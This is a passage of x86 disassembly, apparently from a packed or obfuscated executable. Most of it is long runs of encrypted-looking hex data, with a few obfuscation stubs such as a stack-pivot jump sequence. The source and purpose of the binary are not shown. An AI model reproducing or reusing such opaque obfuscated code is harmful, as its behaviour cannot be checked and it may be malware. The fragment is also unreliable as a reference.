3AC3250Eh, 0ACF8CBE5h, 0EEE7469Bh dd 30F60790h, 1797303Bh, 0FC4F3EF5h, 74AA02Dh, 868430F6h dd 0BD2C17A1h, 0EDBC15B2h, 4436DDF3h, 0D4F680EDh, 8FDDAC1Fh dd 419EA77Bh, 24E54E66h, 77E3F63h, 7B607433h, 0D761267Ah dd 0B9359E61h, 1230F86Dh, 0D41F4EDBh, 2CFD0755h, 8E5BE1C7h dd 91F1C31Eh, 0E76070D9h, 0D72h, 2B30F574h, 889546DDh dd 614AA7B8h, 0C52EFF07h, 0BB8059E3h, 0FA027720h, 5CECC421h dd 0B84ABE87h, 0B12167Fh, 3291C9D2h, 1A226599h, 85C0CE35h dd 0E1D0BACEh, 0B192B18Dh, 0EF3CC0E8h, 429BA286h, 0BACE6479h dd 0A2B1376h, 1D9D0A43h, 18B534FFh, 36DD05F1h, 2E4C0958h dd 0E03511E5h, 36C28562h, 0B59821C5h, 43AAB526h, 9CB2AC29h dd 0E5D63511h, 448519D7h, 0A364F464h, 6FE27787h, 1474007Ch dd 0D3h, 7DB24B7Bh, 975FE543h, 0DC27518Eh, 1112BBF5h, 0D930F675h dd 0A682EB44h, 0E9FF4E9Fh, 84844F99h, 0E3FE19AFh, 0BD845DE3h dd 0A13788ECh, 0C3FE9CA3h, 60279E2Ch, 0FF1BFF7Ah, 597B3394h dd 97BA1392h, 0DE36DD55h, 0A3A5718Ah, 0E2CD364Eh, 0F5B861CAh dd 2341117Ah, 38C319E8h, 3E9726E3h, 3307D5E1h, 0C47618ACh dd 8ACAD72Bh, 3C57670Ah, 74D53C85h, 95F2E09h, 714726F3h dd 0BC8731EAh, 56EEDAEBh, 23C80385h, 6B75D992h, 0C61E0h dd 21061B00h, 8257ECC4h, 7BB84FB9h, 0DF101612h, 0B16AF2F6h dd 11883154h, 0F3F5DE0Bh, 59AFB46Dh, 21076CC9h, 0E0FAC31Ch dd 23748AC3h, 0B3DF351Ah, 65B14B96h, 0BF3398E5h, 1430F670h dd 71BAF2DDh, 223B0D16h, 4BEBE0CDh, 0FE8A7DB2h, 4C14F449h dd 0B9DB4CA6h, 3805DA63h, 34B77C9Eh, 0DE0F1765h, 9BCC5DA6h dd 36DDCF98h, 0A1DDF6C9h, 0A35112Fh, 3FD0627Eh, 2E096709h dd 0DDF8765Fh, 98533511h, 0DC5E07B1h, 0B83511DDh, 480B9EACh dd 3F74000Dh, 10h, 8ABACEA2h, 374D7C7h, 0CAF0D374h, 0DF000008h dd 0B534FF1Dh, 8700E167h, 10176534h, 9DE435CEh, 76B85B0Ch dd 0E2936DDh, 19D269BFh, 0F16F480h, 112D4C83h, 0B59C579Ch dd 68C558A8h, 67BC4399h, 0D10BD2A2h, 8E9DDD0Eh, 9B54E93Fh dd 0A58106E1h, 27B34A95h, 944E2D13h, 0A08D9457h, 4860BD40h dd 55ED8E8Dh, 48A1BA52h, 9851EA30h, 7A88B4E0h, 0ED4FA328h dd 4DE45255h, 0CD1BA862h, 61CAE237h, 267C8AB8h, 329750D2h dd 0FDC6172Eh, 0CABD728Bh, 0FEB667FEh, 45009435h, 5255EDD2h dd 0B60C3A06h, 8405DE62h, 6F74A9BCh, 2F360419h, 28460FFEh dd 83ADAA12h, 873741A8h, 0F6DFAE65h, 0AB81C093h, 5B2A333Ah dd 0F88D604Dh, 4D379FD3h, 8F3D34A8h, 0C1460D46h, 183AC9FDh dd 0F07B50D3h, 51AE66BFh, 45AC859Bh, 4E9496E2h, 0E24D67B8h dd 10C10E9Bh, 925B912Bh, 0ED5C97B5h, 915449E0h, 3F49E075h dd 0D7569DBFh, 4BCAE1FEh, 9E18AC70h, 0A47D8323h, 9885230Ch dd 5C0F982Eh, 3FC61295h, 9AA385EEh, 0B912C345h, 0B1C31CC5h dd 0AA116h, 61C65B00h, 0C2172C04h, 0BB788FF9h, 1FD05652h dd 0F12A3236h, 5148F194h, 33351ECBh, 99EFF42Dh, 6147AC89h dd 0A03A03DCh, 25344A03h, 0F39F351Ah, 7DB24B56h, 83D534ABh dd 74DFE1D9h, 0A62h, 0DB200504h, 0B88556EDh, 117AB748h dd 0F5DE0F17h, 0ABB069F3h, 0A128730h, 6CFCF4D1h, 0C85AAEB7h dd 1B22066Fh, 0C2E1F9C2h, 1A257589h, 95B0DE35h, 437DB24Bh dd 0A18A5FE5h, 40627145h, 0A893388Bh, 936DD78h, 77E11DB6h dd 7B4A3511h, 11771C52h, 55BCB735h, 9226854Ah, 42752628h dd 90321F3Ch, 272F276Fh, 271A4BDCh, 6EF7542Fh, 7CB9499Fh dd 0ACCCFB77h, 9950F4h, 24874C6Eh, 87C890AFh, 7C83D9F2h dd 0B0BBE2A7h, 9D5674F8h, 562CA12Ah, 0B81F75Dh, 83AB04F6h dd 0A2A583D5h, 0B1876641h, 0FD467EABh, 0B24B812Ch, 0D10107Dh dd 0F39970D0h, 3A5A9DDAh, 9A991h, 79BE4300h, 0DA0F141Ch dd 0B370F7F1h, 17C85EAAh, 0C9223A0Eh, 5940E9ECh, 3B0D16C3h dd 81E7CC25h, 695FA481h, 58321BD4h, 262C420Bh, 0B87351Ah dd 7DB24B4Eh, 8065E543h, 5C79C8BBh, 30F6701Eh, 43A0A7B5h dd 0C1E7CE29h, 0E91A2CCh, 0C8990E7Bh, 30F6C1D2h, 82FF0399h dd 367F36A2h, 30FB1991h, 752404B1h, 0A48F36E2h, 0B16EF7C5h dd 14C95C54h, 0A5768E5Ch, 0DC6CB80Bh, 952F081Ah, 0CE2943AAh dd 32F37759h, 70CE8192h, 0B922B2DFh, 91Ah, 83E84DDCh, 604D9EA5h dd 0D922FF00h, 0BD8657EFh, 1378B14Bh, 52EACF78h, 0B4B4BC99h dd 1012167Fh, 63FACED7h, 9A29A18Ah, 1A26BD31h, 0DD781635h dd 437DB24Bh, 802F5460h, 0FAD8FA72h, 30021B2Dh, 835CE22Ch dd 0DC2700B8h, 29061F6Dh, 44682470h, 1BD469B6h, 0A7D57C32h dd 0C6B279E7h, 0D5000005h, 0B534FF1Dh, 7095E9E2h, 373E30F6h dd 0AE82CB92h, 536E2C0h, 0AEF8B377h, 0C22D4798h, 71D07A6h dd 2BFA4D3Ch, 3595689Dh, 14510051h, 351ABAD6h, 0FDB1A058h dd 0A9389D38h, 2E37198Eh, 0A9CA94F1h, 0A6794A62h, 6B803612h dd 0F6FFC9FFh, 351A7378h, 2E0305D3h, 0C542AD96h, 8EDF238Ch dd 9DADB9AFh, 674F4908h, 0D156A2FDh, 3DB8B710h, 0DF000000h dd 0B235FE1Dh, 0F670E519h, 0C15AAE30h, 78CCBF68h, 88200BE8h dd 5DD2F1CDh, 4F1E6D51h, 9112E806h, 3FE84310h, 0E36E0333h dd 8059805Bh, 0Ch, 66FACEC7h, 93491C8Dh, 98000002h, 0B534FF1Dh dd 9B0CDD67h, 112B6130h, 7AA92785h, 8EE975E9h, 0CB9C0DF6h dd 36E27F9Dh, 1FB407D6h, 351A9FE3h, 86E4E148h, 2D351A9Fh dd 2D68502h, 0AFD920F9h, 1A9F3726h, 3BFF0335h, 48B3CD22h dd 71F15761h, 404C1DE9h, 4C57B957h, 7B8BA734h, 2EDCEAB1h dd 0B2C88554h, 19351A03h, 133149DEh, 0F85369D8h, 0A8BDA5C3h dd 67B44FBDh, 16B21BA2h, 0BD330EA2h, 424DA12Ah, 4FE630F6h dd 13291F64h, 0C458AEC6h dd 8165D17h, 0C2172DFAh, 0C73B9063h, 930F642h, 80AB3AF7h dd 46DA2E07h, 0ABB26FF0h, 0FC35CB11h, 6393FFC4h, 0FC35CB01h dd 3303052Bh, 1CEFF62Fh, 22E734C8h, 42345801h, 217730F6h dd 4DB6CE1Bh, 0B176F4DCh, 14C95C54h, 0FE1DE55Ch, 83855335h dd 7689DFAEh, 202503BDh, 0E623E4CFh, 6365BE42h, 719A4450h dd 0CB354902h, 579E30F6h, 0D8B2D811h, 9B047B4Fh, 0ADDA757h dd 0F6082D41h, 0FAAF8630h, 0E742B59Ch, 40B5279h, 8DDB0000h dd 220DA778h, 0B14B3865h, 697F4078h, 0BE17718Fh, 30F6CB40h dd 8D2440EBh, 361C8D07h, 8C69F9BEh, 0CC1216F4h, 0E29AE53Ah dd 0BDB63481h, 0D21D30F6h, 0B17B8BA7h, 0A922F538h, 30F6BD55h dd 94D277FEh, 56839966h, 0A17A81D7h, 4A7B2C17h, 5335E67Eh dd 9D368385h, 30F6BD61h, 0CB8063CAh, 30F6BDB7h, 9ACAD51Ch dd 4E66BB4Ch, 94AB63F8h, 0F3DA255Fh, 2FDF2BB9h, 0D7674BCDh dd 17ABBF8Dh, 97F7EBAAh, 0F48C9709h, 0B24A9E0Bh, 0ADB0F879h dd 0A5BBF170h, 1CB9DB4Ch, 30F6B321h, 795225B4h, 30F6B305h dd 240287AEh, 0FB34C916h, 4D851392h, 0A4A91038h, 0C5DBC5F4h dd 90958DA7h, 0D01B5592h, 215D76C9h, 8A30F62Fh, 50D2E6A3h dd 570DD97h, 5730F62Fh, 83196B9Bh, 32A8AEF5h, 4395321Ah dd 541D66BFh, 30F6AC62h, 654CA1A4h, 0E6E2054Dh, 0FECCFC79h dd 4BE3FFFFh, 0DD60B2h, 0B7C12624h, 2818654Ch, 0EC41C515h dd 68006BD4h, 0F6706EEDh, 3FCFFB30h, 0BB805DE0h, 4A62B74Dh dd 6A110483h, 808E9A01h, 47A5322h, 0AFE085D1h, 0DC770384h dd 8BA97418h, 4Eh, 3BACECEh, 1E865EB6h, 4B690186h, 7C942180h dd 0D736E214h, 86F9641Ch, 18351AF4h, 50A4FE0Ch, 25AE11CEh dd 351AF4C9h, 405ECB62h, 73FB3011h, 13F6h, 66349900h, 0B530F67Bh dd 0FFFD7BCAh, 73615FFh, 19000000h, 28836h, 0B24B1900h dd 750FDC60h, 3309A38Ah, 0CEE8F52Ah, 0CF8467ACh, 36DD7DC4h dd 2BB2CA65h, 35117D2Bh, 1687C4Fh, 0BEA55CD3h, 38C6E4A5h dd 4AAEA5h, 305574h, 1D3C0000h, 18B534FFh, 36DD8CF1h, 19DE6CB8h dd 5803846Fh, 0FC7EE791h, 9835116Ch, 68EB7E8Ch, 8374009Eh dd 50CB0DF5h, 3AEF1EEFh, 0B10Fh, 0B24B5200h, 91CDE60h dd 48539CD4h, 6BF15761h, 1D2006BEh, 0CB52A8C0h, 4AF7174Fh dd 1C67C367h, 0DC60B437h, 1D8A750Fh, 0F67CFBB4h, 0E062B630h dd 0A7BE8207h, 2F4D6D76h, 0AD4805E4h, 3C36E015h, 0EAE3B235h dd 351FDA94h, 0C893343Fh, 0AAB368FCh, 0B315C65Eh, 0DF6D7F6Ah dd 0BB4E09ABh, 0BD000004h, 6624BACh, 0E1C72CFDh, 48B8855Eh dd 141C79B6h, 9BF2DB10h, 78B14B2Eh, 0DE131513h, 0B66FF3F5h dd 6DC25BADh, 507D4E00h, 351A2A1Ah, 0CE4401B1h, 0F48C65FAh dd 0B24A9E0Bh, 720ADF64h, 89DFAE89h, 0C5EEBB74h, 0B8855AE3h dd 854BFCDh, 5A5A5A09h, 0B24B90CDh, 4D4F5020h, 0D84064B9h dd 0C7F1D8E6h, 43C715E4h, 6461CAE2h, 30F65C06h, 3DB11AADh dd 9630F65Ch, 0ED70745Fh, 0BC419730h, 5A781A63h, 765F2E91h dd 30F65CF8h, 0BC0F9853h, 0DD8E3017h, 1D237936h, 8F5CE0C4h dd 2E9D0AF5h, 0F8D5A407h, 35116D82h, 0FB990E29h, 116DE252h dd 0C8767A35h, 47DD0B29h, 0CE1E93CFh, 7F46F746h, 0F6C29514h dd 429BA36Fh, 21E6417Bh, 3A9FE160h, 6BFC4833h, 2A35FEB6h dd 38FD0D5Bh, 91E7466Fh, 0BBF35491h, 79B64F99h, 0A26AF1Eh dd 0A136E2CCh, 255F94ABh, 9B5CEEDAh, 4C3F06E1h, 0BB0AE778h dd 338FE3E8h, 0D24351Ah, 9D8AB9Ch, 1A332E4Ch, 0FDAA8535h dd 1A335094h, 3EC51335h, 0DBF0D3EDh, 351A33A7h, 0EEDA250Ch dd 7E09859h, 4BACBE82h, 4A7B62h, 34A60000h, 30F6704Ah dd 0FFC40F2Ah, 0CABD7689h, 4A5217BEh, 92374937h, 0F3275B02h dd 8E9830F6h, 43A0A780h, 5E9394E0h, 7A88F8C9h, 0DB5A03BDh dd 8930F6F3h, 7CCF95A5h, 0F6F31B57h, 0D6E4B030h, 0E7B68B16h dd 0D6FAAFB6h, 0D58A9354h, 92E6B74Bh, 0D42A538Ch, 7F30F670h dd 0FF10B0F4h, 7BD87B4Dh, 80825810h, 0AD910DA7h, 67C0429Dh dd 969B551Eh, 0F94830F6h, 9049D226h, 18561FD8h, 5330F671h dd 0F671047Ah, 0C584AF30h, 71E1BD6Ah, 1079E7BDh, 0FFFFFF6Fh dd 7DB24B77h, 83546043h, 40F5DE28h, 0F90C54F5h, 0FADB17BCh dd 0F97030F6h, 0C7E5B59Eh, 0C9D00D11h, 0F7565D76h, 61F736DDh dd 4B3A05DEh, 27B77A3Dh, 0BF687E68h, 0C4FE78E5h, 8E9A3511h dd 0A66ED80h, 271D7400h, 44000000h, 0B534FF1Dh, 0DD8CF118h dd 0E7915836h, 116CFC7Eh, 7E8C9835h, 9E68EBh, 0C51F74h dd 58AC0000h, 955E16C3h, 0B24B4734h, 5FE5437Dh, 1114F28Ah dd 0BF46A4DCh, 0D35C056Eh, 1B30F675h, 0E0C02D02h, 97E8805Dh dd 8839C141h, 0F11AD5AEh, 1496331Ah, 14A3DF6h, 36DD44C6h dd 5B973C8Fh, 0F0351144h, 72FDA079h, 0E02B4969h, 2FAFB401h dd 2B023307h, 23F80C58h, 8556EEDAh, 92730403h, 24AF31D9h dd 22Ah, 93F83DCCh, 705D8E95h, 2932EF70h, 8D9647DFh, 6348A1BBh dd 42DABF68h, 0A4A48CE9h, 2664Fh, 53EADE27h, 8AD9B19Ah dd 1A2DADC1h, 0CD880635h, 0C554BACEh, 9F77C209h, 5F6DBB6Dh dd 73D483D4h, 3902D76Dh, 6F936CFh, 56F32C32h, 0F6DFAE1Dh dd 30F63978h, 0B76C18D3h, 0FB7CEA51h, 1DEEAB7Ch, 8518ACFFh dd 310ED822h, 8B29450Eh, 0AB8230F6h, 85D4E140h, 0CC36DD77h dd 108966F8h, 0D52382ADh, 1DE69E53h, 197E88Ch, 0AA54B009h dd 94FDAACFh, 351175AAh, 8ED462CEh, 0E4D1A2BAh, 35117586h dd 813B022Dh, 7559953Eh, 7BF23511h, 68EBB710h, 1F7400B5h dd 0E1h, 68FACE42h, 9D0AF58Fh, 437DB24Bh, 0B91B9160h, 8E10E445h dd 34176B10h, 0B5BC30F6h, 0FE38CC14h, 49A52E67h, 0E230F634h dd 0A619604Bh, 3480FED7h, 2B30F6h, 0D750FD87h, 1F30F631h dd 61CC2906h, 0A3DD122Bh, 19DE6C58h, 3D03846Fh, 39BDF728h dd 1B51D01Bh, 0D37A2F04h, 0FD323400h, 0DDE65C3h, 0F8A18873h dd 0DD3F78AFh, 3D06D136h, 35B47F9Dh, 7585A98h, 8766F133h dd 157EABB1h, 70D00913h, 0D992BCC1h, 0E7F96272h, 81000000h dd 6A5EA780h, 353318D1h, 9C94F132h, 7848558Ah, 0B72E37E4h dd 54859F02h, 0AE7794Fh, 0E243C721h, 5996AF99h, 0C491A7Ch dd 351A2EEEh, 0CE104D45h, 0F18B64FAh, 0B54F9136h, 18AC1F64h dd 0DEF7206Fh, 30F69AA0h, 0BF84200Bh, 0B949BF7Bh, 2EFB447Ch dd 0C12A031Ah, 7DB24B8Ch, 8F60E543h, 60F614A6h, 61D5300h dd 14509BD5h, 5AAEEEAEh, 0E9526AC3h, 7E963F8Eh, 0DD36E2E4h dd 0AA059312h, 5AD4F7A4h, 0DB2173D4h, 0A080ED42h, 0AD28409Dh dd 73ED7644h, 0BE469215h, 3FE8536Dh, 21240333h, 96037F54h dd 358D7011h, 0C0A868A1h, 4F3E39A8h, 117AE806h, 81E84370h dd 64B94CA4h, 0B768FE4Ch, 42F05EFDh, 0A68F60E5h, 8362BB42h dd 7A679B30h, 65CC7011h, 0F77D0A4h, 5A000000h, 2C5563CAh dd 76F771D6h, 0B06DF1F7h, 0B64BAA17h, 5CE14771h, 0F13E983h dd 0B8489ED6h, 61FB417Bh, 122AF088h, 0C559AFD9h, 758A5068h dd 1D2604BCh, 50FEB4CCh, 405E089h, 83000000h, 48704E8h dd 24248B24h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch dd 1C68243Ch, 8900001Dh, 0EC81241Ch, 4, 0BE243489h, 1BB6292h dd 0EE81D6F7h, 0F8584CDCh, 545EF789h, 81241C8Bh, 4C4h dd 4EC8300h, 81243C89h, 29162434h, 438F43A1h, 8738108h dd 43A12916h, 51241C8Bh, 0C181E189h, 4, 8704C183h, 8B5C240Ch db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5527B7 ; --------------------------------------------------------------------------- dw 0A932h dd 0FADD1535h, 8138DBDh, 0F7CBD160h, 5FD6B826h, 0C50305ECh dd 6062E0FFh, 524D08E0h, 7A7A39EFh, 0B9DE072Eh, 0B5A624A6h dd 36818CFh, 31400610h, 0BB4243ABh, 0B6092BB5h, 53E75D61h dd 48A7636h, 0FD6A503Dh, 7C4B2BB6h, 1B2112F6h, 0BB471C33h dd 3E90568Dh, 41A807C9h, 0C4F54743h, 0F87CF3h, 200122C6h dd 0DE427EAEh, 3F800CDCh, 9E86E2Eh, 0AD000000h, 40F4E831h dd 993B2CDEh, 0D2E38166h, 0EE9596Bh, 0D2000000h, 0B4E723F0h dd 0BDDEC6Eh, 0FD4EFBA5h, 5BC181D2h, 0F000067h, 0BDB8FBBFh dd 8107CC51h, 0CC3803E8h, 31FFF807h, 665AF08Bh, 114CE81h dd 39CAC281h, 0C2811421h, 64B11542h, 81FFBF0Fh, 1843BEAh dd 88EB8018h, 83F91189h, 870F03E9h, 0 dd 0EE816649h, 0F48C1B6h, 0FFFFC585h, 14ABEFFh, 8D8D0D31h dd 5EC61DAh, 0E99D8Bh, 8D8905E7h, 5E72315h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 3EC35545h, 29DD850Bh dd 810F05E7h, 6, 2A4D9D0Bh, 85C705E7h, 5E708B9h, 6264h dd 85C7D08Bh, 5E70C99h, 0 dd 31A5B589h, 0CF8105E7h, 7AE848B2h, 19E5B5FFh, 953105E7h dd 5E70685h, 32CD95FFh, 0F08105E7h, 73E7AC62h, 95FF006Ah dd 5E71A1Dh, 0BEBC08Bh, 0B0D197BFh, 16921481h, 8D4AB1CCh dd 0EC62EB8Dh, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 11D3560Ah, 0B3B5901h dd 0E731F1BDh, 158D8905h, 6A05E723h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 591FC357h dd 0F418E1F9h, 8B985C7h, 597C05E7h, 9D8B0000h, 5E7162Dh dd 0C9985C7h, 5E7h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 6929C1C3h, 6D712079h dd 0B1B5FF13h, 6A05E72Ah, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0D8B2C351h, 8381F9B9h dd 31B9BD89h, 95FF05E7h, 5E732CDh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0A1C35242h, 0C4D34EDh, 0E9231A5Dh dd 0Dh, 8E266AA7h, 92AA9399h, 0B8E1995Ch, 0FF006AF2h, 0E71A1D95h dd 0EBC08B05h, 0A174D80Ah, 0CC28F364h, 0EB17EEE3h, 60h dd 17h dup(0) dd 0C24E900h, 18E90000h, 6800000Ch, 5EC6BE6h, 0FB1A06E9h dd 6D4168FFh, 0FCE905ECh, 68FFFB19h, 5EC6DAEh, 0FB19F2E9h dd 0ECEAD6FFh, 0D7F7D77Ch, 0D5E5D279h, 0D9FD2C7Bh, 0D8FE2877h dd 4216AD70h, 5DEA6654h, 5DEA6656h, 5BE06848h, 0CEE36D71h dd 814F3184h, 5944C699h, 0FC7D3561h, 0B433D12Eh, 90391B02h dd 0E839ADA3h, 437BA68Dh, 78A7B27Fh, 65A78C5Ch, 196A525Fh dd 0F1D1FAC5h, 6E5742ADh, 42A522A2h, 92D7C54h, 0BA8BD435h dd 3A020F10h, 8EB887FBh, 0EC390648h, 5C9FEECCh, 2D2D1562h dd 73BE81D1h, 0D716774Bh, 0B18DD1F8h, 1D615946h, 84DAF8D2h dd 4E0005EBh, 62E0896Bh, 9FC37BC9h, 6DD3E623h, 66C69879h dd 7A77CD15h, 470FFC3Fh, 98FA8E72h, 63AA85C6h, 0A9217243h dd 0AAA68486h, 68623BCDh, 0A88C9FA0h, 0FA00EC4Dh, 4AE2C698h dd 6C493876h, 0C6982D84h, 0ED744E9Fh, 7F437D4h, 0F2C3E328h dd 654943ACh, 7A5227EBh, 0D416E54h, 4451EB02h, 0C375E2FCh dd 424BA6F7h, 0B3A51162h, 828AEA9Fh, 685A6AD9h, 6C000000h dd 0A628EB02h, 52A89099h, 4B167472h, 9AEB0863h, 0E0350F5Bh dd 0C375E218h, 3A144AE2h, 990A2D1Bh, 511CE431h, 0C617C375h dd 8DC516E7h, 22DB9BB5h, 2A638F37h, 0ECFA390Ah, 78521135h dd 12446C5Ah, 0CC38DF1Ah, 0AA3C8532h, 75CFB90Fh, 0A69BAC3h dd 817D355Ch, 3EA15CC8h, 477170B3h, 0A5000000h, 4F93B39Ah dd 2AB3F7Eh, 35BA28EBh, 9033D6Ah, 0A7F0D925h, 0BB33725Bh dd 75E2AA1Eh, 499068C3h, 0C8605A38h, 35C1F5C6h, 0C7F7220Dh dd 0A083A3E8h, 5A785236h, 6A12446Ch, 0A1FDDDC5h, 0E205EB48h dd 0CD1EC375h, 0EE02F8EEh, 0DAFFA72Fh, 0C375E256h, 95211C6Dh dd 5D117B00h, 0D32F78C9h, 92CC966Eh, 261603C6h, 94A0EFD8h dd 1DBD2E46h, 6EBF9F8Fh, 0A5AF2BE0h, 61F2602Bh, 625A47E8h dd 15EECD1Ch, 1DDh, 1A0A0251h, 0DC44ED17h, 11B98AA1h, 0E7C7C669h dd 9673B29Bh, 0C375503Ah, 8CD5F639h, 75504729h, 22735CC3h dd 6AA28DD1h, 0F43D0244h, 5497F6C4h, 434BD498h, 35560063h dd 19F3350Dh, 6D36F7BAh, 75422088h, 93D223C3h, 1C4A6CBCh dd 7D350D41h, 0D2EF794Eh, 9C230289h, 5678504Dh, 0E2D02108h dd 8AEA9FB3h, 5A6AD982h, 39h, 28EB026Ch, 0D27D35BAh, 0FD126BEDh dd 0D0F4D71Ah, 1911D995h, 0A44A246Bh, 0E643A28Dh, 0C375A612h dd 941CB911h, 0AFC375A6h, 35590D5Eh, 5A785211h, 3E0E446Ch dd 2Eh, 21EB0268h, 1FA3DD32h, 184E9FEAh, 0E218E035h, 0BDAC375h dd 220D355Fh, 0ECECD5EBh, 0F6EBF83h, 5A78525Bh, 0D12446Ch dd 87E63404h, 0A0232A4h, 0B983BB13h, 0CFB1047Dh, 0C4C37504h dd 1008A3FBh, 5065714Ch, 0C375A1F4h, 3429A7FFh, 3244C29Ch dd 98E93A18h, 0C5AB0E36h, 0DEC37509h, 9AA2B58Dh, 0C8137C2Bh dd 62CD95EDh, 0D0390535h, 566EBE95h, 0CE02536Bh, 547A521Ah dd 3C6A356Eh, 0EFE3DF1Eh, 0BA28EB02h, 6A359FB3h, 0E8C11D3Dh dd 82961E8Dh, 52566AD9h, 10000000h, 0BA28EB02h, 70450D35h dd 0C375E288h, 0E2D1A772h, 81D2C375h, 2384E730h, 0C375E25Dh dd 5E8297AFh, 0BF82AF4Bh, 8BE8F7Ch, 0C0A80D35h, 0C3C375E2h dd 733BB3F2h, 0E29A6E4Bh, 4899C375h, 0DC5D0776h, 0C520B40Eh dd 5A785295h, 3E0E446Ch, 44h, 28EB0268h, 18E035BAh, 0DAC375E2h dd 0A02A7802h, 1776446Ah, 671AEFCFh, 6A35A016h, 0A8220121h dd 236A35FCh, 0D9CD2003h, 0E2433580h, 7E40C375h, 2CC090E3h dd 0F0C11207h, 67D35C2h, 7BAD2795h, 0FDE9D211h, 0FA3Eh dd 0FC2B7400h, 48AB82D8h, 130A021Eh, 0E2B21EBBh, 0F758C375h dd 0C0B5F0D4h, 4C5CABF7h, 5222E66Ah, 0C17E5D7Ah, 801DA5DFh dd 0F4CEB210h, 0A5F6E730h, 3F6A3531h, 8BEAC31Fh, 0EB0233B7h dd 6A35BA28h, 0ED3C0220h, 0EA8E428Eh, 6AD9828Ah, 615Ah dd 0FD2F7000h, 0E2A315A0h, 57A0C075h, 87694C06h, 9CC075E2h dd 26670B3h, 0FC4451EBh, 0F7C375E2h, 356155A6h, 75E218E0h dd 9CCA1BC3h, 59927D35h, 704A6CBCh, 0DDCEA006h, 7F48A1FDh dd 0A18EB63Ch, 70664565h, 6C5A7852h, 5C3E0E44h, 74000000h dd 0E287694Ch, 5065C375h, 0C375E2E8h, 0F8C99AEBh, 0EB022DBDh dd 0D35BA28h, 0E8CBEB22h, 75E2B90Fh, 3CAA7BC3h, 0BB350D35h dd 0AC7582A1h, 52520467h, 2F705A78h, 0A980DEFEh, 0E22C9421h dd 0D627C375h, 1244C397h, 2F82801Ah, 0E47CF439h, 6F287297h dd 0B94574E2h, 84813A96h, 526E78BBh, 63434A7Ah, 0AC84CC12h dd 0D2EE79EDh, 0F2211C25h, 0C857F9D9h, 0DDA0FEC0h, 0C375AC69h dd 1AB6D0BBh, 0F2BA2C32h, 75AC5127h, 220152C3h, 2707012Eh dd 0AB8B80AFh, 0AFBF7648h, 0EE3F00F2h, 0AC9E62B7h, 4495C375h dd 0E7C6277Bh, 5676D2F4h, 0CD23D870h, 8AD0F6D6h, 199696AAh dd 0D4251A89h, 0C1F6C38Bh, 0C6C95DA5h, 60D4A9F5h, 0F5C69201h dd 41AE8CCCh, 72166444h, 3763C1C9h, 68183607h, 1A315A0h dd 57A0C692h, 5F454514h, 61F1ABC5h, 1987h, 6A35C300h, 0EAC31F3Fh dd 4264A48Bh, 0E237B97Ch, 7219C375h, 0F2D4F454h, 7A528A5Eh dd 83690654h, 0CBEDC882h, 0E8C96246h, 36BAB19Fh, 155A7F57h dd 92CCB175h, 0D0F15348h, 933BCE21h, 0A6CCB206h, 1760B1C8h dd 0CC8E76CBh, 0C8F8C8A6h, 0CCC3B500h, 0FEC0C8A6h, 0C06F37C8h dd 0C0230C4Eh, 71E3E991h, 0A25C05E0h, 39DDF68Ah, 724F86E6h dd 4198E25Fh, 56636BDAh, 0C8A6BBE2h, 0E85590E1h, 2Bh, 130A02FAh dd 0E2BA1EBBh, 0FF40C375h, 75A08FAFh, 0D12C7D41h, 94BB137Ch dd 0FABD93ABh, 2Bh, 0DBAD0830h, 0D8C375E2h, 23AAC8Fh, 0F3BB130Ah dd 1D587EACh, 75E228BCh, 0A7723AC3h, 0C375E3D1h, 0D1A281D2h dd 3861CE80h, 3E18C800h, 19Dh, 2D080268h, 520D41B9h, 0B36E547Ah dd 5574DB83h, 0E2CCB471h, 8FC7C375h, 75E2462Ah, 230C5DC3h dd 8AEA96C0h, 5A6AD982h, 68h, 2D08026Ch, 377D35B9h, 0E2A1961Ah dd 0C28AC023h, 0AFC9BF1Ah, 0A343C375h, 0A82A921Bh, 93D2238Ch dd 75AA4236h, 427041C3h, 0E1350D35h, 0E051ECF7h, 0E4522683h dd 51C375h, 52FDA925h, 0B57D5565h, 75E29860h, 6B4A9BC3h dd 6A12447Fh, 75E2F94Fh, 4AA9FAC3h, 0A80D351Ch, 0C375E2C0h dd 996A4A5Dh, 386A6D48h, 0BC000000h, 0A52D0802h, 4C92B09Ah dd 6F68257Dh, 0DC0E8855h, 6A35C9E1h, 0EF3E1C22h, 0DF3C68Ch dd 0C7C375E2h, 0C7F35C76h, 3522B4F7h, 2C655211h, 75E22789h dd 82D33CC3h, 520E44D4h, 4A72547Ah, 419DBDE5h, 0E2258B68h dd 0ED3EC375h, 0D35D88Eh, 75E2C0A8h, 0B3F2C3C3h, 0EB021B4Fh dd 9FB3BA28h, 0D9828AEAh, 3D5A6Ah, 26C0000h, 35BA28EBh dd 9F5D4E7Dh, 7526B63Ah, 1A7C4DC3h, 87E615C0h, 0E706EACFh dd 0CC1DC375h, 157D3586h, 0B2FE2838h, 0D035141h, 3F62A735h dd 52D2F6FCh, 446C5A78h, 423E0Eh, 2680000h, 0FF5C21EBh dd 0DF01A649h, 75D476FAh, 0D33C0DC3h, 8A2A4B8Bh, 8ADBF2D1h dd 350D35DCh, 53AA0A23h, 785C4FD2h, 0B7FACB22h, 9572B195h dd 0C375F923h, 35A210E1h, 5A785211h, 0D12446Ch, 0EEF83B1Bh dd 5597952h, 0B800955Dh, 0BBC375E2h, 231B076Ah, 0CAAF8EDFh dd 0C375E265h, 4F78C78Fh, 1DBD2C0Fh, 92BE9E8Fh, 507952FEh dd 0D999FEC6h, 22A4F57Eh, 0D925151Dh, 4D6DB9F0h, 0E5DD1871h dd 3991B19Ah, 0D0132B16h, 6911DAEEh dd 0C1CCF2DBh, 0F8A4A4F5h, 5FB1E840h, 23027C32h, 753D6046h dd 60188EC3h, 0E87DC49Fh, 0AE79E89Fh, 1A5567D8h, 0DFFFFFEh dd 293AED45h, 5AD082F3h, 75092B9Dh, 9CDF28C3h, 0E25CD8CAh dd 7143C375h, 6EC375E3h, 0C375E29Bh, 75E2288Ch, 0E24D37C3h dd 0E252C375h, 278375E2h, 0DA82C4C9h, 